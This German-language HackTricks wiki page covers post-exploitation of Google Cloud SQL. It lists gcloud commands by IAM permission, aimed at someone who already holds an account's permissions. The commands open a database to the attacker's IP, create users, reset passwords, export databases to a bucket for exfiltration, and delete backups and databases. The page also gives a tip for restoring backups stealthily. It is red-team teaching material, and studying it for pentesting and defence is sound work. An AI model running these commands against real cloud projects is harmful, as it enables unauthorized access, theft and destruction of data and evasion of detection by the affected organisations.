GCP - Cloud SQL Post Exploitation
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Cloud SQL
Für weitere Informationen zu Cloud SQL siehe:
cloudsql.instances.update
, ( cloudsql.instances.get
)
Um eine Verbindung zu den Datenbanken herzustellen, benötigen Sie nur Zugriff auf den Datenbankport und müssen den Benutzernamen und das Passwort kennen, es gibt keine IAM-Anforderungen. Eine einfache Möglichkeit, Zugriff zu erhalten, vorausgesetzt, die Datenbank hat eine öffentliche IP-Adresse, besteht darin, die erlaubten Netzwerke zu aktualisieren und Ihre eigene IP-Adresse den Zugriff zu erlauben.
# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet
mysql -h <ip_db> # If mysql
# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet
Es ist auch möglich, --no-backup
zu verwenden, um die Backups der Datenbank zu stören.
Da dies die Anforderungen sind, bin ich mir nicht ganz sicher, wofür die Berechtigungen cloudsql.instances.connect
und cloudsql.instances.login
gedacht sind. Wenn du es weißt, sende einen PR!
cloudsql.users.list
Erhalte eine Liste aller Benutzer der Datenbank:
gcloud sql users list --instance <intance-name>
cloudsql.users.create
Diese Berechtigung erlaubt es, einen neuen Benutzer innerhalb der Datenbank zu erstellen:
gcloud sql users create <username> --instance <instance-name> --password <password>
cloudsql.users.update
Diese Berechtigung erlaubt es, Benutzer innerhalb der Datenbank zu aktualisieren. Zum Beispiel könnten Sie das Passwort ändern:
gcloud sql users set-password <username> --instance <instance-name> --password <password>
cloudsql.instances.restoreBackup
, cloudsql.backupRuns.get
Backups könnten alte sensible Informationen enthalten, daher ist es interessant, sie zu überprüfen.
Stellen Sie ein Backup in einer Datenbank wieder:
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
Um es auf eine stealthy Weise zu tun, wird empfohlen, eine neue SQL-Instanz zu erstellen und die Daten dort wiederherzustellen, anstatt in den derzeit laufenden Datenbanken.
cloudsql.backupRuns.delete
Diese Berechtigung erlaubt das Löschen von Backups:
gcloud sql backups delete <backup-id> --instance <instance-id>
cloudsql.instances.export
, storage.objects.create
Exportieren Sie eine Datenbank in einen Cloud Storage Bucket, damit Sie von dort darauf zugreifen können:
# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
cloudsql.instances.import
, storage.objects.get
Importieren Sie eine Datenbank (überschreiben) aus einem Cloud Storage Bucket:
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
cloudsql.databases.delete
Löschen Sie eine Datenbank aus der DB-Instanz:
gcloud sql databases delete <db-name> --instance <instance-id>
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.